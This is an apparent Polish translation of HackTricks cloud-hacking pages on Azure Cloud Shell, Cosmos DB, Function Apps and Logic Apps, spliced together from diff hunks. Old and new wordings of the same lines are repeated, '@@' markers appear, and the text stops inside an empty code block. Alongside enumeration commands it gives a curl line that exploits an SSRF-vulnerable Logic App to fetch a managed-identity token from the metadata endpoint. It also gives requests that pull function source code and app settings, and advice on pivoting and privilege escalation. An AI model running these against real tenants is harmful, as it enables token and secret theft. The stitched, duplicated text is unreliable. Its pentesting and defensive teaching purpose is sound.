**Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
**Trwałość $HOME**: Po uruchomieniu Azure Cloud Shell po raz pierwszy możesz go używać z lub bez podłączonego konta magazynu. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynu, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault.
**Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy konfigurowali Cloud Shell z kontem magazynu, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
## Odniesienia
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Trwałość
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
@@ -10,7 +10,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}
@@ -19,9 +19,9 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).
**Azure Cosmos DB** to w pełni **zarządzana baza danych NoSQL, relacyjna i wektorowa**, oferująca czasy odpowiedzi w milisekundach, automatyczną skalowalność i dostępność wspieraną SLA z bezpieczeństwem na poziomie przedsiębiorstwa. Umożliwia szybszy rozwój aplikacji dzięki gotowej dystrybucji danych w wielu regionach, otwartym API, SDK dla popularnych języków oraz funkcjom bazy danych AI, takim jak zintegrowane wsparcie dla wektorów i bezproblemowa integracja z Azure AI.
Azure Cosmos DB oferuje wiele API baz danych do modelowania danych z rzeczywistego świata przy użyciu dokumentów, relacyjnych, klucz-wartość, grafowych i modeli danych kolumnowych, a te API to NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin i Table.
Azure Cosmos DB oferuje wiele API baz danych do modelowania danych ze świata rzeczywistego przy użyciu dokumentów, relacyjnych, klucz-wartość, grafowych i modeli danych kolumnowych, a te API to NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin i Table.
Jednym z kluczowych aspektów CosmosDB jest Azure Cosmos Account. **Azure Cosmos Account** działa jako punkt wejścia do baz danych. Konto określa kluczowe ustawienia, takie jak globalna dystrybucja, poziomy spójności i konkretne API do użycia, takie jak NoSQL. Dzięki kontu możesz skonfigurować globalną replikację, aby zapewnić dostępność danych w wielu regionach dla niskiej latencji. Dodatkowo możesz wybrać poziom spójności, który równoważy wydajność i dokładność danych, z opcjami od silnej do ostatecznej spójności.
Jednym z kluczowych aspektów CosmosDB jest Azure Cosmos Account. **Azure Cosmos Account** działa jako punkt wejścia do baz danych. Konto określa kluczowe ustawienia, takie jak globalna dystrybucja, poziomy spójności oraz konkretne API do użycia, takie jak NoSQL. Dzięki kontu możesz skonfigurować globalną replikację, aby zapewnić dostępność danych w wielu regionach dla niskiej latencji. Dodatkowo możesz wybrać poziom spójności, który równoważy wydajność i dokładność danych, z opcjami od silnej do ostatecznej spójności.
### NoSQL (sql)
API NoSQL Azure Cosmos DB to API oparte na dokumentach, które używa JSON jako formatu danych. Oferuje składnię zapytań podobną do SQL do zapytań obiektów JSON, co czyni je odpowiednim do pracy z danymi strukturalnymi i półstrukturalnymi. Punkt końcowy usługi to:
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
@@ -349,8 +348,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
## Do Zrobienia
* Reszta bazy danych tutaj, tabele, cassandra, gremlin...
* Zwróć uwagę na post eksploatacji "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
* Zwróć uwagę na przywrócenia
* Zobacz post eksploatacji "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
* Zobacz przywrócenia
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
@@ -4,22 +4,22 @@
## Podstawowe informacje
**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Python, JavaScript i Java, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy użyty podczas uruchamiania kodu.
**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Python, JavaScript i Java, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy używany podczas uruchamiania kodu.
> [!NOTE]
> Zauważ, że **Funkcje są podzbiorem App Services**, dlatego wiele funkcji omówionych tutaj będzie również używanych przez aplikacje tworzone jako Azure Apps (`webapp` w cli).
### Różne plany
- **Flex Consumption Plan**: Oferuje **dynamiczne, oparte na zdarzeniach skalowanie** z ceną płatności za użycie, dodając lub usuwając instancje funkcji w zależności od popytu. Obsługuje **wirtualne sieci** i **wstępnie przydzielone instancje**, aby zredukować zimne uruchomienia, co czyni go odpowiednim dla **zmiennych obciążeń**, które nie wymagają wsparcia kontenerów.
- **Traditional Consumption Plan**: Domyślna opcja bezserwerowa, w której **płacisz tylko za zasoby obliczeniowe, gdy funkcje są uruchamiane**. Automatycznie skaluje się w zależności od nadchodzących zdarzeń i zawiera **optymalizacje zimnego uruchomienia**, ale nie obsługuje wdrożeń kontenerów. Idealny dla **przerywanych obciążeń** wymagających automatycznego skalowania.
- **Premium Plan**: Zaprojektowany dla **spójnej wydajności**, z **wstępnie podgrzanymi pracownikami**, aby wyeliminować zimne uruchomienia. Oferuje **wydłużone czasy wykonania, wirtualne sieci** i obsługuje **niestandardowe obrazy Linux**, co czyni go idealnym dla **aplikacji krytycznych dla misji**, które potrzebują wysokiej wydajności i zaawansowanych funkcji.
- **Dedicated Plan**: Działa na dedykowanych maszynach wirtualnych z **przewidywalnym rozliczeniem** i obsługuje ręczne lub automatyczne skalowanie. Umożliwia uruchamianie wielu aplikacji na tym samym planie, zapewnia **izolację obliczeniową** i zapewnia **bezpieczny dostęp do sieci** za pośrednictwem App Service Environments, co czyni go idealnym dla **długoterminowych aplikacji** wymagających spójnej alokacji zasobów.
- **Container Apps**: Umożliwia wdrażanie **kontenerowych aplikacji funkcji** w zarządzanym środowisku, obok mikroserwisów i API. Obsługuje niestandardowe biblioteki, migrację aplikacji dziedziczonych i **przetwarzanie GPU**, eliminując zarządzanie klastrami Kubernetes. Idealny dla **opartych na zdarzeniach, skalowalnych aplikacji kontenerowych**.
- **Plan Flex Consumption**: Oferuje **dynamiczne, oparte na zdarzeniach skalowanie** z ceną płatności za użycie, dodając lub usuwając instancje funkcji w zależności od popytu. Obsługuje **wirtualne sieci** i **wstępnie przydzielone instancje**, aby zredukować zimne uruchomienia, co czyni go odpowiednim dla **zmiennych obciążeń**, które nie wymagają wsparcia kontenerów.
- **Plan Traditional Consumption**: Domyślna opcja bezserwerowa, w której **płacisz tylko za zasoby obliczeniowe, gdy funkcje są uruchamiane**. Automatycznie skaluje się w zależności od nadchodzących zdarzeń i zawiera **optymalizacje zimnego uruchomienia**, ale nie obsługuje wdrożeń kontenerów. Idealny dla **przerywanych obciążeń** wymagających automatycznego skalowania.
- **Plan Premium**: Zaprojektowany dla **spójnej wydajności**, z **wstępnie podgrzanymi pracownikami**, aby wyeliminować zimne uruchomienia. Oferuje **wydłużone czasy wykonania, wirtualne sieci** i obsługuje **niestandardowe obrazy Linux**, co czyni go idealnym dla **aplikacji krytycznych dla misji**, które potrzebują wysokiej wydajności i zaawansowanych funkcji.
- **Plan Dedicated**: Działa na dedykowanych maszynach wirtualnych z **przewidywalnym rozliczeniem** i obsługuje ręczne lub automatyczne skalowanie. Umożliwia uruchamianie wielu aplikacji w tym samym planie, zapewnia **izolację obliczeniową** i zapewnia **bezpieczny dostęp do sieci** za pośrednictwem środowisk App Service, co czyni go idealnym dla **aplikacji długoterminowych** wymagających spójnej alokacji zasobów.
- **Container Apps**: Umożliwia wdrażanie **kontenerowych aplikacji funkcji** w zarządzanym środowisku, obok mikroserwisów i API. Obsługuje niestandardowe biblioteki, migrację aplikacji dziedzicznych i **przetwarzanie GPU**, eliminując zarządzanie klastrami Kubernetes. Idealny dla **opartych na zdarzeniach, skalowalnych aplikacji kontenerowych**.
### **Koszyki pamięci**
Podczas tworzenia nowej aplikacji funkcji, która nie jest kontenerowa (ale przekazuje kod do uruchomienia), **kod i inne dane związane z funkcją będą przechowywane w koncie pamięci**. Domyślnie konsola internetowa utworzy nową dla każdej funkcji, aby przechować kod.
Podczas tworzenia nowej aplikacji funkcji, która nie jest kontenerowa (ale daje kod do uruchomienia), **kod i inne dane związane z funkcją będą przechowywane w koncie pamięci**. Domyślnie konsola internetowa utworzy nową dla każdej funkcji, aby przechować kod.
Co więcej, modyfikując kod wewnątrz koszyka (w różnych formatach, w jakich może być przechowywany), **kod aplikacji zostanie zmodyfikowany na nowy i wykonany** następnym razem, gdy funkcja zostanie wywołana.
@@ -32,7 +32,7 @@ Możliwe jest również znalezienie **kluczy głównych i funkcji** przechowywan
Zauważ, że Funkcje pozwalają również na przechowywanie kodu w zdalnej lokalizacji, wskazując po prostu URL do niego.
### Sieci
### Sieciowanie
Używając wyzwalacza HTTP:
@@ -40,13 +40,13 @@ Używając wyzwalacza HTTP:
- Możliwe jest również **udzielenie lub ograniczenie dostępu** do aplikacji funkcji z **wewnętrznej sieci (VPC)**.
> [!CAUTION]
> To jest bardzo interesujące z perspektywy atakującego, ponieważ może być możliwe **przełączenie się na wewnętrzne sieci** z podatnej funkcji wystawionej na Internet.
> To jest bardzo interesujące z perspektywy atakującego, ponieważ może być możliwe **przejście do wewnętrznych sieci** z podatnej funkcji wystawionej na Internet.
### **Ustawienia aplikacji funkcji i zmienne środowiskowe**
Możliwe jest skonfigurowanie zmiennych środowiskowych wewnątrz aplikacji, które mogą zawierać wrażliwe informacje. Co więcej, domyślnie zmienne env **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (wśród innych) są tworzone. Te są szczególnie interesujące, ponieważ **zawierają klucz konta do kontrolowania z PEŁNYMI uprawnieniami konta pamięci zawierającego dane aplikacji**. Te ustawienia są również potrzebne do wykonania kodu z konta pamięci.
Możliwe jest skonfigurowanie zmiennych środowiskowych wewnątrz aplikacji, które mogą zawierać wrażliwe informacje. Co więcej, domyślnie zmienne środowiskowe **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (wśród innych) są tworzone. Te są szczególnie interesujące, ponieważ **zawierają klucz konta do kontrolowania z PEŁNYMI uprawnieniami konta pamięci zawierającego dane aplikacji**. Te ustawienia są również potrzebne do wykonania kodu z konta pamięci.
Te zmienne env lub parametry konfiguracyjne kontrolują również, jak funkcja wykonuje kod, na przykład jeśli **`WEBSITE_RUN_FROM_PACKAGE`** istnieje, wskaże URL, gdzie znajduje się kod aplikacji.
Te zmienne środowiskowe lub parametry konfiguracyjne kontrolują również, jak funkcja wykonuje kod, na przykład jeśli **`WEBSITE_RUN_FROM_PACKAGE`** istnieje, wskaże URL, gdzie znajduje się kod aplikacji.
### **Piaskownica funkcji**
@@ -61,11 +61,11 @@ Podobnie jak [**VMs**](vms/index.html), Funkcje mogą mieć **Zarządzane Tożsa
**Zarządzana tożsamość przypisana systemowo** będzie to zarządzana tożsamość, którą **tylko funkcja**, która ją ma przypisaną, będzie mogła używać, podczas gdy **zarządzane tożsamości przypisane przez użytkownika** to zarządzane tożsamości, które **każda inna usługa Azure będzie mogła używać**.
> [!NOTE]
> Podobnie jak w [**VMs**](vms/index.html), Funkcje mogą mieć **1 zarządzaną tożsamość przypisaną systemowo** i **wiele przypisanych przez użytkownika**, więc zawsze ważne jest, aby spróbować znaleźć wszystkie z nich, jeśli skompromitujesz funkcję, ponieważ możesz być w stanie eskalować uprawnienia do kilku zarządzanych tożsamości z jednej funkcji.
> Podobnie jak w [**VMs**](vms/index.html), Funkcje mogą mieć **1 zarządzaną tożsamość przypisaną systemowo** i **wiele przypisanych przez użytkownika**, więc zawsze ważne jest, aby spróbować znaleźć wszystkie z nich, jeśli skompromitujesz funkcję, ponieważ możesz być w stanie eskalować uprawnienia do kilku zarządzanych tożsamości z tylko jednej funkcji.
>
> Jeśli nie jest używana zarządzana tożsamość systemowa, ale jedna lub więcej zarządzanych tożsamości użytkownika są przypisane do funkcji, domyślnie nie będziesz w stanie uzyskać żadnego tokena.
Możliwe jest użycie [**skryptów PEASS**](https://github.com/peass-ng/PEASS-ng) do uzyskania tokenów z domyślnej zarządzanej tożsamości z punktu końcowego metadanych. Możesz je również uzyskać **ręcznie**, jak wyjaśniono w:
Możliwe jest użycie [**skryptów PEASS**](https://github.com/peass-ng/PEASS-ng) do uzyskania tokenów z domyślnej zarządzanej tożsamości z punktu końcowego metadanych. Lub możesz je uzyskać **ręcznie**, jak wyjaśniono w:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
@@ -74,7 +74,7 @@ Zauważ, że musisz znaleźć sposób na **sprawdzenie wszystkich zarządzanych
## Klucze dostępu
> [!NOTE]
> Zauważ, że nie ma uprawnień RBAC do udzielania dostępu użytkownikom do wywoływania funkcji. **Wywołanie funkcji zależy od wyzwalacza** wybranego podczas jej tworzenia, a jeśli wybrano wyzwalacz HTTP, może być konieczne użycie **klucza dostępu**.
> Zauważ, że nie ma uprawnień RBAC do udzielania użytkownikom dostępu do wywoływania funkcji. **Wywołanie funkcji zależy od wyzwalacza** wybranego podczas jej tworzenia, a jeśli wybrano wyzwalacz HTTP, może być konieczne użycie **klucza dostępu**.
Podczas tworzenia punktu końcowego wewnątrz funkcji za pomocą **wyzwalacza HTTP** możliwe jest wskazanie **poziomu autoryzacji klucza dostępu** potrzebnego do wywołania funkcji. Dostępne są trzy opcje:
@@ -96,7 +96,7 @@ Podczas tworzenia punktu końcowego wewnątrz funkcji za pomocą **wyzwalacza HT
### Podstawowa autoryzacja
Podobnie jak w App Services, Funkcje również obsługują podstawową autoryzację do łączenia się z **SCM** i **FTP** w celu wdrożenia kodu za pomocą **nazwa użytkownika i hasło w URL** dostarczonym przez Azure. Więcej informacji na ten temat w:
Podobnie jak w App Services, Funkcje również obsługują podstawową autoryzację do łączenia się z **SCM** i **FTP** w celu wdrożenia kodu za pomocą **nazwa użytkownika i hasła w URL** dostarczonym przez Azure. Więcej informacji na ten temat w:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Wdrożenia oparte na Githubie
Gdy funkcja jest generowana z repozytorium Github, konsola internetowa Azure pozwala na **automatyczne utworzenie Workflow Github w konkretnym repozytorium**, więc za każdym razem, gdy to repozytorium jest aktualizowane, kod funkcji jest aktualizowany. Właściwie, YAML akcji Github dla funkcji w Pythonie wygląda tak:
Gdy funkcja jest generowana z repozytorium Github, konsola internetowa Azure pozwala na **automatyczne utworzenie Workflow Github w określonym repozytorium**, więc za każdym razem, gdy to repozytorium jest aktualizowane, kod funkcji jest aktualizowany. W rzeczywistości YAML akcji Github dla funkcji w Pythonie wygląda tak:
<details>
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Ponadto, **Zarządzana Tożsamość** jest również tworzona, aby akcja Github z repozytorium mogła się zalogować do Azure. Dzieje się to poprzez wygenerowanie poświadczenia federacyjnego dla **Zarządzanej Tożsamości**, umożliwiającego **Wydawcy** `https://token.actions.githubusercontent.com` oraz **Identyfikatorowi Podmiotu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Ponadto, **Zarządzana Tożsamość** jest również tworzona, aby akcja Github z repozytorium mogła się zalogować do Azure. Odbywa się to poprzez wygenerowanie poświadczenia federacyjnego dla **Zarządzanej Tożsamości**, umożliwiającego **Wydawcy** `https://token.actions.githubusercontent.com` oraz **Identyfikatorowi Podmiotu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Dlatego każdy, kto skompromituje to repozytorium, będzie mógł skompromitować funkcję oraz Zarządzane Tożsamości do niej przypisane.
@@ -204,6 +204,10 @@ Nie wszystkie plany pozwalają na wdrażanie kontenerów, ale dla tych, które t
Ponadto, **żaden kod źródłowy nie będzie przechowywany w koncie** magazynowym związanym z funkcją, ponieważ nie jest to potrzebne.
## Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Eskalacja Uprawnień
{{#ref}}
@@ -30,34 +30,260 @@ Na przykład coś takiego nie zwróci tokena:
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opcje hostingu
Istnieje kilka opcji hostingu:
* **Konsumpcja**
- **Wielu najemców**: zapewnia współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne rozwiązanie dla lekkich i opłacalnych obciążeń.
* **Standard**
- **Plan usługi przepływu pracy**: dedykowane zasoby obliczeniowe z integracją VNET dla sieci i opłatami za instancję planu usługi przepływu pracy. Jest odpowiedni dla bardziej wymagających obciążeń, które wymagają większej kontroli.
- **Środowisko usługi aplikacji V3**: dedykowane zasoby obliczeniowe z pełną izolacją i skalowalnością. Integruje się również z VNET dla sieci i stosuje model cenowy oparty na instancjach usługi aplikacji w środowisku. Jest to idealne dla aplikacji na dużą skalę, które potrzebują wysokiej izolacji.
- **Hybrydowy**: zaprojektowany do przetwarzania lokalnego i wsparcia dla wielu chmur. Umożliwia zarządzane przez klienta zasoby obliczeniowe z dostępem do lokalnej sieci i wykorzystuje Kubernetes Event-Driven Autoscaling (KEDA).
### Enumeracja
{{#tabs }}
{{#tab name="az cli" }}
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Konta integracyjne
**Konta integracyjne** to funkcja Azure Logic Apps. Konta integracyjne są używane do ułatwienia integracji na poziomie przedsiębiorstwa, umożliwiając zaawansowane możliwości B2B, takie jak EDI, AS2 i zarządzanie schematami XML. Konta integracyjne są kontenerem w Azure, który przechowuje następujące artefakty używane w Logic Apps:
* Schematy: Zarządzaj schematami XML do walidacji i przetwarzania wiadomości w swoim koncie integracyjnym.
* Mapy: Konfiguruj transformacje oparte na XSLT, aby konwertować formaty danych w ramach swoich przepływów pracy integracyjnych.
* Zestawy: Zarządzaj zestawami konta integracyjnego, aby uprościć logikę i przetwarzanie danych.
* Certyfikaty: Obsługuj certyfikaty do szyfrowania i podpisywania wiadomości, zapewniając bezpieczną komunikację.
* Partnerzy: Zarządzaj informacjami o partnerach handlowych dla transakcji B2B, umożliwiając płynne integracje.
* Umowy: Konfiguruj zasady i ustawienia wymiany danych z partnerami handlowymi (np. EDI, AS2).
* Konfiguracje wsadowe: Zarządzaj konfiguracjami przetwarzania wsadowego, aby grupować i przetwarzać wiadomości efektywnie.
* RosettaNet PIP: Konfiguruj procesy interfejsu partnera RosettaNet (PIP) w celu standaryzacji komunikacji B2B.
#### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
